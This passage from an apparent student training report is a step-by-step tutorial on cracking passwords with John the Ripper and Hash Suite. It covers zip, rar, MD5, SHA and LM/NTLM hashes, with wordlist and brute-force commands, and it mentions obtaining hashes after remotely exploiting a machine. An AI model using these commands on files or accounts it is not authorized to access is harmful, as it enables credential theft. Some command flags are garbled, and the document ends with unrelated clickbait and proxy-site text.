required for cracking password will change. Also, if you are using a wordlist, then the password needs to be
present in the wordlist.
If you do not see the password or you want to see it again do the following:
To see cracked files type the following command:
cat /root/.john/john.pot
here test123 is the password

Fig no.20 : password cracked


Note: Note password cracking is resource-intensive. Your laptops might get heated up if there is no
proper cooling and airflow.
There are many options and flags you can use with john the ripper. Check the image below to know more.
2)Cracking password-protected zip and rar files.
We come across zip files having passwords and encryption quite often if we are downloading stuff from the
internet. So let’s try cracking the password of a zip file.
Open the folder where the zip file is located in the terminal(Change directory with cd command). Once you
open the folder type the following command in the terminal:
command: zip2john file > output.txt
file = name of the zip file
After using this command, you will see an output.txt file which has the hashes of the zip file stored in it.
To crack the hash of the zip file, type :
Command: john –format=zip output.txt

MIST-DECE 136
INDUSTRIAL TRAINING REPORT

Fig no.21 : John format


With this command, the zip password cracking process will begin, and you will be able to hack the password
of the zip file with john the ripper. Do note it will take time and depending on the password complexity.
In the case, of cracking passwords of “rar” files just replace “zip” with “rar.” Everything else follows the
same format.
i.e., commands:
rar2john file > output.txt
John –format=rar output.txt
How to hack android phones with a single link?

3) Decrypting hash files with John, the ripper


You need to save the hash you want to decrypt in a text file. I will be making a separate article on acquiring
password hashes. Till then stay tuned and support hacking world.
I have my Hash over here in a text file.
Now, let’s use john to decrypt the hash and access the password.
To decrypt it, use this :
LM Hashes

Fig no.22 : hash values

MIST-DECE 137
INDUSTRIAL TRAINING REPORT

SHA1
To decrypt SHA1 encryption, we will use RockYou as wordlist and crack the password, as shown below:
john –wordlist=/usr/share/wordlists/rockyou.txt –format=raw-sha1 crack.txtSHA256
john –wordlist=/usr/share/wordlists/rockyou.txt –format=raw-sha256 crack.txt
MD5
john –format=raw-md5 hash.txt
Wait for the hash file to be decrypted. Once the file is decrypted, you will see the password.
To see all formats supported by john type the following command.
john –list=formats
Frankly, the hash suite is a better alternative. You can also try cain and Abel for cracking hashes. But for
Linux terminal-based hacking John the ripper is the best.
4) Using custom wordlists to hack passwords
If you want to use a wordlist attack. Which takes a lot of time but does work provided the word list is
good. John, the ripper, uses a custom dictionary which contains the list of the most commonly used
passwords around the world. So unless the password is really unique and long john, the ripper can hack the
password.

Fig no.23 : wordlist


Syntax:
john –format=raw-sha1 –wordlist password.txt THEHASHFILE.txt
You can try the following command, e.g., for better understanding:
john –wordlist=/usr/share/john/password.lst hashfile
Here in the above command, I used the password.lst file. You can use any file you want.
Bonus: Cracking Multiple Files
We can also crack multiple hash files provided if they have the same encryption.
1. crack.txt
2. crack1.txt
Both contain md5 hashes, so to crack both files in one session, we will run john as follows:
Syntax: john [file 1][file 2]
john -form=raw-md5 crack.txt crack1.txt
To see list of all possible formats john the ripper can crack type the following command:

MIST-DECE 138
INDUSTRIAL TRAINING REPORT

john -list=formats

Fig no.24 : output

10 .MD5 HASH GENERATOR:


An MD5 hash is created by taking a string of an any length and encoding it into a 128-bit fingerprint.
Encoding the same string using the MD5 algorithm will always result in the same 128-bit hash output.
MD5 hashes are commonly used with smaller strings when storing passwords, credit card numbers or
other sensitive data in databases such as the popular MySQL. This tool provides a quick and easy way
to encode an MD5 hash from a simple string of up to 256 characters in length.
MD5 hashes are also used to ensure the data integrity of files. Because the MD5 hash algorithm always
produces the same output for the same given input, users can compare a hash of the source file with a
newly created hash of the destination file to check that it is intact and unmodified.
An MD5 hash is NOT encryption. It is simply a fingerprint of the given input. However, it is a one-
way transaction and as such it is almost impossible to reverse engineer an MD5 hash to retrieve the
original string.

STEPS TO CRACK THE PASSWORDS


Step 1: Obtain the password hashes
To crack password hashes, we first need to first get them. Normally you obtain these password hashes after
exploiting a machine with a remote exploit. More articles regarding the same will be added soon; however,
for this tutorial, we will be using hashes from the public demo. These are publicly available hashes of
common passwords. You can use them for testing.

MIST-DECE 139
INDUSTRIAL TRAINING REPORT

fig no. 25 :getting hash values


Import those hashes, as shown below:

Fig no.26: hash values


Step 2: Cracking LM hashes
LM hashes are very weak: we can crack ANY valid LM hash password by brute-force (Learn more about
LM hashes here).
We start with nothing cracked yet:
NTLM:
LM: Found
00h:00min Found
0/3380 0%
0/30640 0%
We will use the Charset key-provider, which is the default option in the hash suite, and a range of password
lengths from 0 to 6, which is selected by default.
Now we will start the attack by clicking the start button.
NTLM:
LM: Found
00h:02min Found
1663/3380 49%
0/30640 0%

After an hour, all the passwords were cracked, as shown below.

MIST-DECE 140
INDUSTRIAL TRAINING REPORT

NTLM:
LM: Found
00h:29min Found
3380/3380 100%
0/30640 0%

Step 3: Crack passwords with word lists


Use Wordlist with the file Wikipedia-wordlist-sraveau-20090325.txt.bz2.
I recommended downloading these lists at the beginning of the article. We are going to use this list to crack
some passwords.

Fig no.27: wordlists

Fig no.28: selecting size


LM: Found NTLM: Found
00h:31min
3380/3380 100% 6900/30640 22%
We will use the Charset key-provider with default options, which are: password length from 0 to 6 with all
printable characters.
LM: Found NTLM: Found
00h:33min
3380/3380 100% 7707/30640 25%

MIST-DECE 141
INDUSTRIAL TRAINING REPORT

Step 4: Crack passwords by using common English phrases


The popularity of passwords based on English phrases has risen quite a lot lately. Hash Suite provides a
phrase generator with English words that can also be used to crack passwords.
This obviously takes a long time to process and the entire hack to finish. Have patience. The cracking
process will depend on your device speed. Do make sure your device is properly cooled, especially if you
are using a laptop.

Fig no.29:Password
Step 5: Try all other methods for hacking passwords

Fig no.30: other methods of hacking


There are many options that you can use for cracking passwords. We have charset, phrases, wordlist, DB
info, keyboard, LM2NT, etc. More will be added with every update.

MIST-DECE 142
INDUSTRIAL TRAINING REPORT

Fig No.31: Options For Cracking Passwords


You can also crack NTLM, MD5, SHA1, SHA256, SHA512, DCC, SSHA, MD5CRYPT, DCC2 WPA-PSK, and
bcrypt hashes as well. So do take some time to try out the various options on this tool. This password cracking
tool has a lot of features so I cannot review each and every one of them.

MIST-DECE 143

You might also like

pFad - Phonifier reborn

Pfad - The Proxy pFad of © 2024 Garber Painting. All rights reserved.

Note: This service is not intended for secure transactions such as banking, social media, email, or purchasing. Use at your own risk. We assume no liability whatsoever for broken pages.


Alternative Proxies:

Alternative Proxy

pFad Proxy

pFad v3 Proxy

pFad v4 Proxy